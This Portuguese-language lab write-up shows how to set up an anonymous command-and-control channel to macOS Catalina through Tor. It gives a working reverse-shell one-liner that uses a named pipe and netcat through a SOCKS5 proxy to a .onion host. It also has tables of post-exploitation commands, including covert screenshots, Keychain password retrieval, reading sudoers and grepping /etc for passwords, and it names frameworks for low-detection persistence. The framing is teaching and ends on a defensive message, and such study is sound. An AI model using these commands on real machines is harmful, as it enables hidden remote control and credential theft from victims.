MacOS e C2 no tor
Diferente de outras demonstrações feitas em sistemas Linux, o foco aqui é mostrar que mesmo um sistema da Apple — frequentemente promovido como fechado e seguro — continua vulnerável a comandos remotos se certas condições forem atendidas, principalmente por manter uma base sólida no UNIX.
O laboratório foi estruturado para demonstrar como o simples uso de ferramentas nativas como Netcat e bash, somados ao redirecionamento de I/O e a um pipe nomeado (FIFO
), pode simular um shell remoto funcional, discreto e interativo.
O macOS Catalina (10.15), lançado em 2019, ainda é amplamente utilizado e compartilha a mesma arquitetura Darwin das versões mais recentes como Ventura, Sonoma e Sequoia. Essa base UNIX-like permite acesso ao terminal, ferramentas como bash
, sh
, zsh
, e programas de rede como nc
.
Mesmo com o visual moderno e integrado da Apple, o Catalina ainda carrega:
Um kernel híbrido (Mach + BSD)
Acesso completo ao terminal
Presença nativa de ferramentas de rede e scripting
O que significa que, com um pouco de criatividade, é possível simular uma comunicação remota sutil sem necessidade de ferramentas externas.
Shell padrão para automação e execução de comandos. No macOS, ainda disponível mesmo com a presença do zsh
.
Conhecido como o “canivete suíço da rede”, o nc
permite:
Estabelecer conexões TCP
Redirecionar I/O
Simular shells reversos
Rede anônima que permite:
Encaminhamento por múltiplos nós
Acesso a serviços ocultos .onion
Anonimato entre o cliente (máquina alvo) e o servidor (C2)
Durante a aula, montamos a seguinte estrutura:
C2: Servidor escutando na rede Tor, com domínio .onion
acessível via proxy SOCKS5
Alvo: macOS Catalina com Tor rodando localmente
Conexão: netcat configurado para passar pelo proxy SOCKS5
Canal: bidirecional via named pipe (FIFO
)
rm /tmp/f; mkfifo /tmp/f nc -x 127.0.0.1:9050 -X 5 netcat.onion 4444 < /tmp/f | bash > /tmp/f 2>&1 |
Esse comando:
Conecta ao C2 via Tor
Encaminha a saída do C2 para o bash
Redireciona a resposta do bash para /tmp/f
O Netcat lê /tmp/f
e envia de volta para o C2
Resultado: Shell remoto interativo e anônimo.
No C2, você pode enviar:
Comando | Ação |
---|---|
whoami |
Mostra o usuário atual |
uname -a |
Informações do kernel |
ls -la /Users |
Lista usuários |
say "Você foi invadido" |
Fala uma frase no alto-falante |
screencapture -x ~/Desktop/pic.jpg |
Tira uma captura de tela |
Comando | Ação |
---|---|
id | UID, GID e grupos |
hostname | Nome do host |
sw_vers | Versão do macOS |
system_profiler SPSoftwareDataType | Informações detalhadas do sistema operacional |
uptime | Tempo ligado |
date | Data e hora atual |
arch | Arquitetura do sistema (x86_64 ou arm64) |
Comando | Ação |
---|---|
ifconfig | Interfaces e IPs |
netstat -rn | Rotas de rede |
netstat -an | Conexões ativas |
lsof -i | Portas abertas com processo |
scutil --get ComputerName | Nome da máquina |
networksetup -listallhardwareports | Lista interfaces de rede |
ipconfig getifaddr en0 | IP do Wi-Fi |
Comando | Ação |
---|---|
security find-generic-password -ga usuario 2>&1 | Tenta recuperar senha do Keychain (requer permissão) |
cat /etc/sudoers | Verifica configurações de sudo |
grep -i password /etc/* 2>/dev/null | Busca por arquivos que podem conter “password” |
O objetivo principal da aula é quebrar a ideia de que sistemas “fechados” são imunes a problemas. A Apple, embora tenha investido bastante em segurança, continua oferecendo acesso à linha de comando, conexões TCP e permissões de execução que, se não forem corretamente monitoradas e protegidas, podem ser exploradas como em qualquer outro sistema.
Mensagem final:
Um sistema só é seguro de verdade quando é bem configurado, bem monitorado e usado com consciência. Nenhum marketing ou ecossistema fechado substitui segurança real.
Embora o foco tenha sido no uso de nc
+ bash
, existem formas mais robustas de montar um C2:
Tecnologia | Vantagens |
---|---|
Python | Estrutura melhorada, integração com sockets, criptografia |
Go/C/C++ | Binários leves, baixa detecção, multiplataforma |
Metasploit / Sliver / Mythic | Frameworks completos com automação, agentes e persistência |
SSH reverso | Alternativa segura e simples para ambientes controlados |
No entanto, o método utilizado aqui é ideal para demonstrações rápidas, diretas e 100% didáticas, sem ferramentas externas.